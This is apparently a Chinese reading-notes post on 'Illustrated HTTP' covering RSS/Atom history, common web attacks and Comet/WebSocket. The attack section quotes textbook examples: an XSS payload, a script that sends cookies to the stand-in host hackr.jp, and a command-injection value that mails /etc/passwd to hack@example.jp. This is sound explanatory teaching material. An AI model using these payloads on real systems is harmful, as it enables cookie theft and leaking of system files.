tjhttp 五、《图解HTTP》- RSS和网络攻击
本节是关于RSS和常见网络攻击的讨论,RSS似乎总是被认为“为什么还没有消失“的东西,但是个人通过了解和体验之后发现意外的挺好用的。
而关于网络攻击的部分有时候会成为面试的考点,了解基础的网络攻击手段和常见的防范方式还是有必要的。
知识点
- RSS历史介绍,RSS的存在意义和价值,个人认为很适合自主学习的人使用。
- WEB 攻击手段介绍,了解基础和常见的攻击手段,这些攻击手段离我们日常生活并不远。
- 关于瓶颈和未来发展是由于写书时效性产生的一些“过时”内容,可以跳过。
5.1 RSS
5.1.1 RSS历史
下面大部分内容来自维基百科,由于多半是理论内容,不做过多解释。
RSS(简单信息聚合)和Atom都是针对新闻和博客日志信息文档格式的合称。
RSS(英文全称:RDF Site Summary 或 Really Simple Syndication)中文译作简易信息聚合,也称聚合内容,是一种消息来源格式规范,用以聚合多个网站更新的内容并自动通知网站订阅者。
使用 RSS 后,网站订阅者便无需再手动查看网站是否有新的内容,同时 RSS 可将多个网站更新的内容进行整合,以摘要的形式呈现,有助于订阅者快速获取重要信息,并选择性地点阅查看。
RSS的历史版本更新如下:
- RSS 0.9(RDF Site Summary):最初的 RSS 版本。1999 年 3 月由网 景通信公司自行开发用于其门户网站。基础构图创建在初期的 RDF 规格上。
- RSS 0.91(Rich Site Summary):在 RSS0.9 的基础上扩展元素,于 1999 年 7 月开发完毕。非 RDF 规格,使用 XML 方式编写。
- RSS 1.0(RDF Site Summary):RSS 规格正处于混乱状态。2000 年 12 月由 RSS-DEV 工作组再次采用 RSS0.9 中使用的 RDF 规格发布。
- RSS2.0(Really Simple Syndication):非 RSS1.0 发展路线。增加支 持 RSS0.91 的兼容性,2000 年 12 月由 UserLand Software 公司开发完 成。
发展到现在RSS有几个不同的版本,分为两个主要分支(RDF和2.X)。
RDF(或 RSS 1.X)分支包括以下版本:
- RSS 0.90 是最初的Netscape RSS版本。此 RSS 称为 _RDF 站点摘要_,但基于 RDF 标准的早期工作草案,与最终的 RDF 建议不兼容。
- RSS 1.0 是 RSS-DEV 工作组的开放格式,再次代表 _RDF 站点摘要_。RSS 1.0 是一种像 RSS 0.90 一样的 RDF 格式,但与它不完全兼容,因为 1.0 是基于最终的 RDF 1.0 推荐标准。
- RSS 1.1 也是一种开放格式,旨在更新和替换 RSS 1.0。该规范是一个独立的草案,不受 RSS-Dev 工作组或任何其他组织的任何支持或认可。
RSS 2.X 分支(最初是 UserLand,现在是 Harvard)包括以下版本:
- RSS 0.91是Netscape发布的简化RSS版本,也是Userland Software的Dave Winer最初倡导的简化版本的版本号。Netscape版本现在被称为_Rich Site Summary_;这不再是RDF格式,但相对易于使用。
- RSS 0.92 到 0.94 是 RSS 0.91 格式的扩展,它们大多彼此兼容,并且与 Winer 版本的 RSS 0.91 兼容,但与 RSS 0.90 不兼容。
- RSS 2.0.1 的内部版本号为 2.0。RSS 2.0.1 被宣布为“冻结”,但在发布后不久仍然更新,没有更改版本号。RSS现在代表_真正简单的整合_。此版本中的主要更改是使用 XML 命名空间的显式扩展机制。
5.1.2 Atom
同样没怎么接触的东西,整理百科的内容如下。
Atom是一对彼此相关的标准。Atom供稿格式(Atom Syndication Format)是用于网站消息来源,基于XML的文档格式;而Atom出版协定(Atom Publishing Protocol,简称AtomPub或APP)是用于新增及修改网络资源,基于HTTP的协议。
它借鉴了各种版本RSS的使用经验,被许多的聚合工具广泛使用在发布和使用上。Atom供稿格式设计作为RSS的替代品;而Atom出版协定用来取代现有的多种发布方式(如Blogger API和LiveJournal XML-RPC Client/Server Protocol)。Google提供的多种服务正在使用Atom。Google Data API(GData)亦基于Atom。
RSS和Atom)都得到广泛支持,并与所有主要的消费者提要阅读器兼容。RSS 由于早期订阅源读取器的支持而得到了更广泛的应用。
从技术上讲,Atom有几个优点:限制较少的许可,IANA注册的MIME类型,XML命名空间,URI支持,RELAX NG**支持。
Atom 具有以下两种标准。
Atom 供稿格式(Atom Syndication Format):为发布内容而制定的 网站消息来源格式,单讲 Atom 时,就是指此标准。
Atom 出版协定(Atom Publishing Protocol):为 Web 上内容的新增 或修改而制定的协议。
关于更多的内容,可以参考这两个网站:
The Atom Syndication Format:
https://www.rfc-editor.org/rfc/rfc4287.txt
Atom Syndication Format(IBM)
https://www.ibm.com/docs/en/cics-ts/5.3?topic=standards-atom-syndication-format
5.1.3 RSS意义
RSS多数情况下用于网络博客应用的订阅和自己的喜欢的网站信息同步更新获取,个人认为类似换种形式的微信公众号,不过最近这几年微信也在改变算法,推送也从以前的一股脑推送,到现在的根据用户的喜好推送。
RSS 放到现在还有意义么?为什么还有人在用呢?个人认为RSS订阅最大的意义是 过滤噪声,RSS订阅的阅读需要依赖阅读器,关于软件使用这一部分的内容请查看“参考资料”。
RSS有几个显著优点:
- 由被动获取信息到主动获取信息。
- 规避各互联网公司的算法。
- 屏蔽互联网的噪声。
- 返璞归真,并不是所有的“时代倒退”都是错的。
这几点基本也决定了很多平台不会喜欢这东西,因为挡着财路了。
RSS当然有他的缺点,最大的缺点是 太过于小众了,所以它有那一天会消失都不奇怪,由于几乎没有利益可图,所以目前在竞争的反倒是做标准的几个势力,也是比较罕见的情况。
实际上,现在还有相当一部分人还在使用RSS。
5.2 WEB攻击
HTTP为了实现其简单高效,在HTTP1.X中保持了无状态的特征,所以本身对于安全防护的能力几乎为0,基本上年年都可以看到重大的网络攻击安全事故,因为根据墨菲定律这种事情总会发生。
攻击方式主要分为主动攻击和被动攻击。
被动攻击的方式主要是利用钓鱼网站或者链接引导用户点击,之后运行攻击代码获取用户电脑的个人信息等,主动攻击则是类似DDos的流量冲击。
多数情况下被动攻击较多,因为几乎没有啥人工成本,而主动攻击基本上是一些具备不小的流量价值的网站,经常会受到类似的攻击。
下面根据书中内容列巨额常见的WEB攻击手段。
5.2.1 XSS攻击
首先是较为常见的是XSS攻击(跨站脚本攻击),主要通过非法的HTML标签或者JS脚本完成攻击,通过预先设置网站陷阱,用户在填写个人的敏感信息的时候就有可能中招。
http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)
除了获取登录信息,还有一种手段是通过JS 脚本抓取Cookie的内容直接获取用户的个人信息,比如使用像是下面这样的代码:
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");
5.2.2 SQL注入
SQL注入主要发生在编程开发人员对待SQL不严谨遗留漏洞,进而产生SQL 注入攻击。
比如书中提到了利用类似这样的手段,通过在SQL参数中注入单引号方式,导致后续的SQL内容失效,来获取一些无法访问的信息。
解决的办法也比较简单,需要注意尽量谨慎或者避免使用占位符,而是使用特殊符号比如“?”的方式进行参数替换而不是直接嵌入SQL。
SQL明显也是利用了SQL语法的规则完成这一特殊字符的注入操作,当然更多情况下是网站编程人员不严谨导致的。
如果你认为现在这种事情发生的很少就大错特错了,国内依然存在大量的网站连最为基础的SQL注入问题都没有进行防范。
5.2.3 OS攻击
OS攻击不算少见,云服务器中这几年比较常见的挖矿脚本算是一种,这种跟随开源组件带来的病毒讨厌又恶心。
针对OS攻击具体案例可以看下面使用获取用户邮件的方式找出OS的漏洞,并且通过管道符等命令快速窃取邮箱账户和密码达成盗号的目的。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";
攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd | mail hack@example.jp
程序接收该值,构成以下的命令组合。
| /usr/sbin/sendmail ; cat /etc/passwd | mail [hack@example.jp](mailto:hack@example.jp)
5.2.4 DDos攻击
非常直接并且粗暴野蛮的攻击方式,通过大规模流量击倒目标服务器,让目标服务器一直处于瘫痪状态无法访问。所以也叫做拒绝服务攻击和服务停止攻击。
DDos的攻击方式主要是下面两种:
- 集中访问资源过载,实际上是植入需要大量运算的无意义程序耗尽计算机资源。
- 攻击系统漏洞致使服务停止。通常这种漏洞来源于开源代码的漏洞。比如臭名昭著的FastJson三天两头的爆出漏洞需要修复。
对于攻击者来说,DDos成本很低,因为国外可以通过大量购买肉鸡服务器完成这一操作,但是对于一个在线客户访问的独立网站来说,要防护的方案实际上并不多,多数时候只能“烧钱”来解决问题,原因是无法分辨攻击来源。
5.2.5 目录遍历攻击
目录攻击是利用对于某些权限敏感的路径访问获取用户密码的行为,比如通过脚本尝试获取到/etc/passwd
的相关信息。
5.2.6 跨站点请求伪造
也就是常说的CSRF攻击,同样是使用陷阱的方式诱导用户操作,在获取到用户信息之后通过用户的身份完成一些“越界”操作。
5.2.7 会话攻击
会话攻击,对于很多网站Session信息中存储了和用户登录的相关信息,通过各种手段推测或者获取用户ID信息,然后根据这些信息伪造用户身份完成登录操作。
上面这种攻击是会话劫持,通过设陷阱或者暴力方式获取信息,另一种是利用用户登录操作,使用相同的用户ID等待用户操作完成之后拿到当前的会话信息访问,有点类似悄咪咪更在别人身后进门不被发现,等进去只会守到主人离开再进去偷东西。
对于这样的信息防护,简单的处理可以在认证的时候加入IP校验规则,如果同一身份信息但是从不同的IP发出,则可以认为是一种会话内容窃取。
5.2.8 点击劫持
利用网络iframe和透明元素的特性,在原始页面上覆盖被点击按钮,这时候同样会把相关的信息带过去。
5.2.9 密码破解
密码破解的手段通常是穷举法和字典攻击,穷举法通常利用用户喜欢把类似生日或者姓名有关的信息作为密码的情况,通过试错的方式进行强制破解,通过制定规则暴力破解,当然通过穷举破解的前提是秘钥的长度够小,另外还有一种是对于已加密到密文进行破解,同样使用查询字典的方式进行试错。
常见的加密破解方式为下面几种:
- 通过穷举法·字典攻击进行类推:也就是所谓的通过散列函数结合穷举法和字典攻击手法,这种手法适用于使用通用加密函数加密的系统。
- 彩虹表:彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,被叫做彩虹表是因为里面包含了各种加密函数加密的密文像是“彩虹”一样,目的是减少穷举和字典法的时间开销。
彩虹表是一种比较有效的破解手段。
目前在 https://freerainbowtables.com/ 这个网站上公布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成的彩虹表
- 拿到密钥:通过网路劫持等手段获取到用户公钥并且通过伪造密钥的方法请求目标服务器,最终实现欺骗服务器获取密文的破解手法。
- 加密算法的漏洞:找算法的漏洞,对于目前主流的信息加密算法基本很难找到漏洞,所以算是成功率非常非常低的手段。
防止密码破解的方式是对于密码错误次数的校验以及短时间内频繁请求进行限制,对于已加密的数据,在原有到密码密文还会加入一个叫做“盐值”的内容。
5.2.10 后门程序
后门程序在发现漏洞的时候设置入口而不是直接攻击。通过后门程序在漏洞上捣鬼,可以实现在日常访问无感知问题的情况下完成信息窃取,由于十分难以发现,后门程序是危险系统很高的WEB攻击方式。
- 开发阶段作为 Debug 调用的后门程序。
- 开发者为了自身利益植入的后门程序。
- 攻击者通过某种方法设置的后门程序。
这里简单说一下第二种在有不少的实际案例,比如简单粗暴的支付网站通过后门程序随机把收款码替换的案例。
还有一种是类似“薅羊毛”的后台程序,通过每一笔订单收取“0.00*N1”的“手续费”,这样的后台程序如果不是火眼金睛基本难以发现,同时虽然数字很小,但是用户量很大的情况下,这种收入实际上是一笔巨款。
这些东西都是高压线,千万不要尝试哟!
5.3 瓶颈和“未来”发展
当前我们现在看这本书书中提到的未来都已经实现了,这些内容简单看看即可。
- SPDY (HTTP2.0)
- Ajax
- WebSocket
- Comet
- HTTP长连接
5.3.1 SPDY - The Chromium Projects
这部分内容在[[《图解HTTP》- HTTP协议历史发展(重点)]]中的HTTP2.0的历史进行了详细阐述,这里不再重复介绍。
5.3.2 Ajax
Ajax 的核心技术是名为 XMLHttpRequest 的 API,通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信,利用Ajax可以完成WEB页面局部更新的操作。
5.3.3 Comet
这个单词的原本含义叫做“彗星”,在WebSocket技术没有完全解决浏览器兼容问题之前,“服务器推”(Comet技术)存在广泛的应用需求,需求推动技术的发展,Comet
技术在Web端即时通讯的方案里几乎不可或缺。
在此之前的技术:
在Comet之前还有一种更早的由服务器推送实现的反向内容推送,那就是被时代逐渐抛弃的Flash
,但是使用Flash
的前提是用户自愿安装。Flash
可以很轻松的完成JS调用,并且提供XMLSocket
类接口实现了反向推送,所以很长一段时间是服务端推送的唯一办法。
还有一种技术是早就死掉的Java Applet,通过 java.net.Socket 或 java.net.DatagramSocket 或 java.net.MulticastSocket完成套接字连接并且服务端推送,但是它有一个致命缺陷是Applet 无法和JavaScript 结合完成实时页面的动态刷新。
Comet如何发展的?
实时Comet本身也是依赖着Ajax的普及扩展的,所以Comet 被定义为:基于 HTTP 长连接、无须在浏览器端安装插件的“服务器推”技术为“Comet”。
Comet实现方式?
Commet的实现方式有两种,第一种是基于 AJAX 的长轮询(long-polling)方式,第二种是基于 Iframe 及 htmlfile 的流(streaming)方式。
首先简述一下第一种方式,长轮询的方式需要不断和和服务端建立HTTP握手连接,每次连接会浪费大量不必要的网络开销。
第二种是使用iframe嵌套及 html file 的流(streaming)方式的方式,iframe这个标签虽然早就被HTML不建议使用(并且废弃了),但是曾经是作为实现长链接的少数选择之一依然发挥重要作用。
原理非常简单,就是在iframe的Src标签当中嵌套获取数据的URL,在Iframe中不返回页面而是返回客户端调用的JS代码, 客户端收到服务端返回的JS调动就会去执行代码。
但是显然iframe在很多浏览器中是不允许这种嵌套JS代码调用的,所以Google后续提出使用 ActiveX ,ActiveX其实就是封装了一个基于 iframe 和 html file 的 JavaScript comet 对象。
但是因为IE旧版本和Google和FIreFox互不相容,所以这个东西在过去曾经恶心至极(在IE的兼容上),需要前端通过一些模板代码优化和处理,比较麻烦。
而使用Comet的方式是一旦发现服务端出现更新就立马返回响应。使用延迟响应的方式模拟推送功能,收到请求Comet 会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。
相关开源组件
- Pushlet:开源的 Comet 框架,使用了观察者模型
- IComet: C++ 语言开发的支持百万并发连接的 comet/push 服务器
Comet 是过去解决服务端推送问题的过渡“插件”,虽然一定程度解决了问题,但是属于围魏救赵,本质上客户端发送请求这一点没有根本改变。
所以Comet 不需要花费过多精力,更多细节可以参考"参考资料部分的内容"。
5.3.4 HTTP 长连接特性
除了Comet 本身的诸多限制外,HTTP长连接本身也有一些值得注意的特性。
- HTTP1.1长连接存在限制,那就是客户端不应该与服务器端建立超过两个的 HTTP 连接,在IE体现为超过两个以上文件下载被阻止。
- 服务器端的性能和可扩展性,如果Ajax存在频繁请求, Comet 会长时间占用一个连接,在JAVA1.4中提供的Java.io 虽然可以实现连接空闲的时候把线程资源还给线程池,但是应对Ajax频繁请求依然会存在一些问题,使得空闲连接较少而影响性能。为此Jetty存在一些针对Comet 的优化,在相关文章 “AJAX,Comet and Jetty”中进行过详细介绍(但是很遗憾目前这篇文章已经找不到了)。
- 控制信息和数据展示分离,HTTP长连接关闭需要依赖客户端发送关闭请求,但是很多时候客户端会自行关闭网页,服务端需要把阻塞等待客户端请求转变为关闭。为了解决这个问题在AJAX的实现方式中会异步的发送一个关闭请求。基于iframe的方式则需要2个Iframe,一个负责显示,另一个负责交换控制信息,控制请求能快速响应不至于被显示信息阻塞。
维持心跳,所谓的维持心跳是服务端需要一种检查客户端是否活动的检查机制,定期检查客户端是否关闭连接,如果关闭连接则会进入到阻塞读的环节,如果客户端已经关闭则会进入异常状态并且关闭连接释放资源。
注意如果是基于 AJAX 的长轮询方式需要采用计时器的方式,通过计时器计时当客户端很长时间没发送请求会认为客户端已经自行关闭并且同样释放资源,保证服务器资源有效利用。
最后如果自身出现问题,也需要通知客户端然后释放资源,防止漏洞溢出。
5.3.5 WebSocket
本来属于HTML5的标准一部分,结果在出现之后逐渐脱离HTML5 成为一个独立的协议,现代主流浏览器基本全部兼容WebSocket(除了IE)。
WebSocket 通信协议在 2011 年 12 月 11 日,被 RFC 6455 - The WebSocket Protocol
定为标准。
WebSocket解决Comet和Ajax的痛点问题是一旦 Web 服务器与客户端之间建立起 WebSocket 协议的通信连接,之后所有的通信都依靠这个专用协议进行,也就是说类似协议“升级”,由于不需要客户端主动获取数据,服务端在建立连接之后可以直接向客户端推送数据。
设计目的:最初目的是解决Ajax和 Conmet 的XmlHttpRequest 附带所引发的缺陷。这两个组件的根本缺陷是只能由客户端完成请求发送。
当然并不是说只使用客户端请求无法完成内容实时更新,有一种办法是使用使用轮询的方式获取信息但是轮询意味着不断的和服务器请求连接,还有作为过渡的兼容组件"彗星"。
关于WebSocket有下面的特点:
(1)建立在 TCP 协议之上,上下兼容。
(2)与 HTTP 协议有着良好的兼容性。默认端口也是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能借助HTTP进行代理。
(3)轻量化响应格式,高效。
(4)可以发送文本,也可以发送二进制数据。
(5)没有同源限制,客户端可以与任意服务器通信。
(6)协议标识符是ws
(如果加密,则为wss
),服务器网址就是 URL。
(7)减少通信量,因为一旦建立连接就会一直保持连接状态,所以HTTP首部的开销也会减少。
案例:
// Create WebSocket connection.
const socket = new WebSocket('ws://localhost:8080');
// Connection opened
socket.addEventListener('open', function (event) {
socket.send('Hello Server!');
});
// Listen for messages
socket.addEventListener('message', function (event) {
console.log('Message from server ', event.data);
});
基本的步骤如下:
- 握手请求。当建立HTTP连接之后,利用HTTP 的 Upgrade 首部字段,告知服务器通信协议发生改变,可以看看做HTTP连接之后再次发起一次“升级协议”请求。
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
备注:Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。 Sec-WebSocket-Protocol 字段内记录使用的子协议。
- 因为最初的HTTP连接可能存在数据交互,所以对于之前的请求返回状态码
101 Switching Protocols
的响应。
如果不知道101是什么没啥关系,看看 [[《图解HTTP》- 状态码]] 这一章会发现实际上就是个没什么影响的提示信息,下面的解释自行翻译,有利于加深印象。
书中的WebSocket的图画的不错,基本可以直观感受到WebSocket这个单独的协议是如何和HTTP配合的。
关于WebSocket有很多细节可以展开,碍于本书面向最基本初学者缘故,所以这篇读书笔记不做过多解释,这里也上网找了一些资料作为拓展,,具体内容请阅读“参考资料”部分。
WEB历史
WEB历史讲述了HTML+CSS+JAVASCRIPT和DOM,另外介绍了现在已经不使用的Servlet,这些技术中需要提一下的是Servlet,这个看似和现在WEB没什么关系的技术,实际上依然活跃,只不过换了一种形式被Spring包装消失了,所以如果想要学好Web,掌握吃透Servlet是必不可少的。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。